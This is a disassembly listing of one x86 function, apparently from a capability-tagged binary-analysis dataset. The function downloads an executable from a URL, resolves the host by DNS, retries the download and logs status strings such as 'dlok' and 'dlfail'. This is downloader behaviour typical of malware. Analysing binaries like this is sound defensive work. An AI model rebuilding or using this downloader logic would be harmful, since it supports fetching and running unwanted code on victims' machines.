Function at 0x406490
Capabilities:
Resolve dns
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x4754aa
mov eax, dword fs:[0]
push eax
sub esp, 0x72c
mov eax, dword [0x4a7534]
xor eax, esp
mov dword [esp + 0x728], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4a7534]
xor eax, esp
push eax
lea eax, [esp + 0x740]
mov dword fs:[0], eax
mov eax, dword [esp + 0x750]
mov ebp, dword [esp + 0x754]
mov dword [esp + 0x18], eax
mov ebx, ecx
call fcn.0041d2b0
lea ecx, [esp + 0xd4]
mov dword [esp + 0x24], eax
call fcn.00468b50
lea ecx, [esp + 0xb4]
mov dword [esp + 0x748], 0
call fcn.00468b50
push 0x4827e4
push ebx
lea ecx, [esp + 0xdc]
mov byte [esp + 0x750], 1
call fcn.00468d90
mov ecx, eax
call fcn.00468d90
push str._.exe
push ebx
lea ecx, [esp + 0xbc]
call fcn.00468d90
mov ecx, eax
call fcn.00468d90
lea edi, [esp + 0x64]
call fcn.0041df80
lea esi, [esp + 0x44]
mov byte [esp + 0x748], 2
call fcn.00402850
push 0
push 0
push 0
push 0
push 0
push eax
lea ecx, [esp + 0xac]
mov byte [esp + 0x760], 3
call fcn.0046e160
mov ecx, esi
call fcn.0046cf20
mov ecx, edi
mov byte [esp + 0x748], 6
call fcn.0046cf20
push 0
push 0
push 0
push 0
lea ecx, [esp + 0xe4]
call fcn.00468670
push eax
lea ecx, [esp + 0xa8]
push ecx
lea ecx, [esp + 0x6c]
call fcn.0046e160
push 0
push 0
push 0
push 0
lea ecx, [esp + 0xc4]
mov byte [esp + 0x758], 7
call fcn.00468670
push eax
lea edx, [esp + 0xa8]
push edx
lea ecx, [esp + 0x4c]
call fcn.0046e160
mov byte [esp + 0x748], 8
test byte [0x4b17c4], 1
jne 0x406623
or dword [0x4b17c4], 1
push 0
mov ecx, 0x4b179c
call fcn.00469670
mov ecx, 0x4b17b4
call fcn.0046d5d0
push 0x479800
call fcn.00446492
add esp, 4
push 0x4821c4
push ebx
push 0x4b179c
call fcn.0041aeb0
lea ecx, [esp + 0x74]
mov dword [esp + 0x30], eax
mov byte [esp + 0x17], 0
call fcn.00468b50
lea ecx, [esp + 0x84]
call fcn.00468b50
lea esi, [esp + 0xe4]
call fcn.0041dee0
lea ecx, [esp + 0xa4]
call fcn.00468b50
mov byte [esp + 0x748], 0xc
test byte [0x4b17c4], 1
jne 0x4066a4
or dword [0x4b17c4], 1
push 0
mov ecx, 0x4b179c
call fcn.00469670
mov ecx, 0x4b17b4
call fcn.0046d5d0
push 0x479800
call fcn.00446492
add esp, 4
push 0x4821bc
push ebx
push 0x4b179c
call fcn.0041aeb0
mov esi, eax
test esi, esi
je 0x406ad7
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4066c1
sub eax, edx
sar eax, 1
je 0x406ad7
push esi
lea ecx, [esp + 0xa8]
call fcn.00468d90
push 0x206
lea eax, [esp + 0x13a]
push 0
push eax
mov word [esp + 0x140], 0
call fcn.00449450
add esp, 0xc
mov ebx, 0x104
lea edi, [esp + 0x134]
call fcn.00415920
test eax, eax
jle 0x406734
mov ecx, edi
push ecx
push 0x482110
lea ecx, [esp + 0xac]
call fcn.00468d90
mov ecx, eax
call fcn.00468d90
push 0x3fe
lea edx, [esp + 0x342]
push 0
push edx
mov word [esp + 0x348], 0
call fcn.00449450
add esp, 0xc
push esi
lea eax, [esp + 0x340]
push 0x200
push eax
call fcn.00446cf3
add esp, 0xc
lea ecx, [esp + 0x350]
push 0x2f
push ecx
call fcn.00446a54
lea edx, [esp + 0x344]
mov esi, eax
push str.http:__
push edx
mov word [esi], 0
call fcn.0044684e
add esp, 0x10
test eax, eax
je 0x4067a1
lea esi, [esp + 0x34a]
push esi
lea ecx, [esp + 0x88]
call fcn.00469080
push 0x3f
lea eax, [esp + 0xf9]
push 0
push eax
mov byte [esp + 0x100], 0
call fcn.00449450
add esp, 0xc
push 0
push 0
push 0x40
lea ecx, [esp + 0x100]
push ecx
push 0xffffffffffffffff
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea edx, [esp + 0xf4]
push edx
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x406828
cmp word [eax + 8], 2
jne 0x406828
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
push ecx
call sub.WS2_32.dll_inet_ntoa
test eax, eax
je 0x406828
mov ecx, eax
lea esi, [ecx + 1]
mov dl, byte [ecx]
add ecx, 1
test dl, dl
jne 0x406811
sub ecx, esi
je 0x406828
push eax
lea ecx, [esp + 0x78]
call fcn.00468b90
lea ecx, [esp + 0x74]
call fcn.00468640
push eax
lea ecx, [esp + 0x88]
call fcn.00468640
mov ebx, dword [esp + 0x28]
push eax
mov ecx, ebx
call fcn.0041cf90
lea ecx, [esp + 0x94]
call fcn.0046d1f0
test al, al
jne 0x406882
push 0
push str.NoTmpPath
mov edi, ebx
call fcn.0041d220
mov ecx, dword [esp + 0x18]
push 0x482850
call fcn.0046be50
mov ecx, eax
call fcn.0046bec0
jmp 0x406b0f
sub esp, 0x10
mov ecx, esp
mov dword [esp + 0x2c], esp
xor esi, esi
push esi
push esi
push esi
push esi
push esi
lea edx, [esp + 0x78]
push edx
call fcn.0046e160
mov edi, dword [esp + 0x40]
call fcn.0041f1b0
add esp, 0x10
test al, al
je 0x4068d1
push str.locok1
lea ecx, [ebx + 8]
call fcn.00468d90
mov eax, dword [ebp]
mov edx, dword [eax + 4]
push 0xffffffffffffffff
push 0xffffffffffffffff
mov ecx, ebp
call edx
mov byte [esp + 0x17], 1
jmp 0x406b0f
lea eax, [esp + 0x24]
push eax
call fcn.0044725c
add esp, 4
mov edi, edi
cmp esi, 3
jge 0x406910
push ebp
lea ecx, [esp + 0xa8]
call fcn.00468640
mov ecx, dword [esp + 0x1c]
push ecx
lea edx, [esp + 0x3c]
mov ecx, eax
call fcn.004118a0
add esp, 8
add esi, 1
test al, al
mov byte [esp + 0x17], al
je 0x4068e0
lea edx, [esp + 0x1c]
push edx
call fcn.0044725c
add esp, 4
lea ecx, [esp + 0x44]
call fcn.00468b50
mov eax, dword [esp + 0x1c]
sub eax, dword [esp + 0x24]
lea ecx, [esp + 0x44]
push eax
push str.dltm
call fcn.00468d90
mov ecx, eax
call fcn.00468dc0
lea ecx, [esp + 0x44]
call fcn.00468640
mov edi, eax
cmp word [edi], 0x26
je 0x40695f
push 0x26
lea ecx, [ebx + 8]
call fcn.00468dc0
lea esi, [ebx + 8]
push edi
mov ecx, esi
call fcn.00468d90
lea ecx, [esp + 0x64]
call fcn.00468b50
mov byte [esp + 0x748], 0xe
mov eax, dword [ebp + 4]
push eax
push str.dlbts
lea ecx, [esp + 0x6c]
call fcn.00468d90
mov ecx, eax
call fcn.00468dc0
lea ecx, [esp + 0x64]
call fcn.00468640
mov edi, eax
cmp word [edi], 0x26
je 0x4069ae
push 0x26
mov ecx, esi
call fcn.00468dc0
push edi
mov ecx, esi
call fcn.00468d90
cmp byte [esp + 0x17], 0
jne 0x4069e9
mov ecx, dword [esp + 0x18]
push 0x48289c
call fcn.0046be50
mov ecx, eax
call fcn.0046bec0
lea ecx, [esp + 0x64]
call fcn.00468790
lea ecx, [esp + 0x44]
call fcn.00468790
jmp 0x406b0f
lea ecx, [esp + 0x64]
call fcn.00468790
lea ecx, [esp + 0x44]
mov byte [esp + 0x748], 0xc
call fcn.00468790
sub esp, 0x10
mov ecx, esp
mov dword [esp + 0x2c], esp
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0x58]
push edx
call fcn.0046e160
mov edi, dword [esp + 0x40]
call fcn.0041f1b0
add esp, 0x10
test al, al
push 0
jne 0x406a96
push 0x4821c4
mov edi, ebx
mov byte [esp + 0x1f], al
call fcn.0041d220
mov esi, dword [esp + 0x18]
push 0
push 0
push esi
lea ecx, [esp + 0x40]
call fcn.0046de60
test al, al
mov ecx, esi
jne 0x406a83
push 0x4828b0
call fcn.0046be50
mov ecx, eax
call fcn.0046bec0
lea ecx, [esp + 0x54]
mov esi, eax
call fcn.0046cf00
push eax
mov ecx, esi
call fcn.0046bec0
jmp 0x406b0f
push 0x48289c
call fcn.0046be50
mov ecx, eax
call fcn.0046bec0
jmp 0x406b0f
mov ecx, dword [esp + 0x1c]
lea eax, [esp + 0x58]
push eax
push ecx
lea ecx, [esp + 0x40]
call fcn.0046e7a0
test al, al
jne 0x406ab3
mov byte [esp + 0x17], al
jmp 0x406b0f
call fcn.0041f4a0
test al, al
je 0x406ad0
push 1
lea ecx, [esp + 0x58]
call fcn.0046cee0
push eax
call fcn.004662f0
add esp, 8
mov byte [esp + 0x17], 1
jmp 0x406b0f
mov edi, dword [esp + 0x24]
push 0x482200
push 0x482200
mov ecx, edi
call fcn.0041cf90
push 0
push str.NoURL
call fcn.0041d220
mov ecx, dword [esp + 0x18]
push 0x482810
call fcn.0046be50
mov ecx, eax
call fcn.0046bec0
mov ebx, edi
lea ecx, [esp + 0xc4]
call fcn.00468b50
lea ecx, [esp + 0x74]
mov byte [esp + 0x748], 0xf
call fcn.00468670
push eax
push str.ip
lea ecx, [esp + 0x8c]
call fcn.00468670
push eax
push str.url
lea ecx, [esp + 0xd4]
call fcn.00468d90
mov ecx, eax
call fcn.00468d90
mov ecx, eax
call fcn.00468d90
mov ecx, eax
call fcn.00468d90
lea ecx, [esp + 0xc4]
call fcn.00468670
mov esi, eax
cmp word [esi], 0x26
je 0x406b83
push 0x26
lea ecx, [ebx + 8]
call fcn.00468dc0
push esi
lea ecx, [ebx + 8]
call fcn.00468d90
cmp byte [esp + 0x17], 0
mov edx, ebx
jne 0x406c19
mov ecx, str.dlfail
call fcn.0041d0d0
lea ecx, [esp + 0xc4]
call fcn.00468790
lea ecx, [esp + 0xa4]
call fcn.00468790
lea ecx, [esp + 0xe4]
call fcn.00468790
lea ecx, [esp + 0x84]
call fcn.00468790
lea ecx, [esp + 0x74]
call fcn.00468790
lea ecx, [esp + 0x34]
call fcn.0046cf20
lea ecx, [esp + 0x54]
call fcn.0046cf20
lea ecx, [esp + 0x94]
call fcn.0046cf20
lea ecx, [esp + 0xb4]
call fcn.00468790
lea ecx, [esp + 0xd4]
call fcn.00468790
xor al, al
jmp 0x406c94
mov ecx, str.dlok
call fcn.0041d0d0
lea ecx, [esp + 0xc4]
call fcn.00468790
lea ecx, [esp + 0xa4]
call fcn.00468790
lea ecx, [esp + 0xe4]
call fcn.00468790
lea ecx, [esp + 0x84]
call fcn.00468790
lea ecx, [esp + 0x74]
call fcn.00468790
lea ecx, [esp + 0x34]
call fcn.0046cf20
lea ecx, [esp + 0x54]
call fcn.0046cf20
lea ecx, [esp + 0x94]
call fcn.0046cf20
lea ecx, [esp + 0xb4]
call fcn.00468790
lea ecx, [esp + 0xd4]
call fcn.00468790
mov al, 1
mov ecx, dword [esp + 0x740]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x728]
xor ecx, esp
call fcn.00445c6a
add esp, 0x738
ret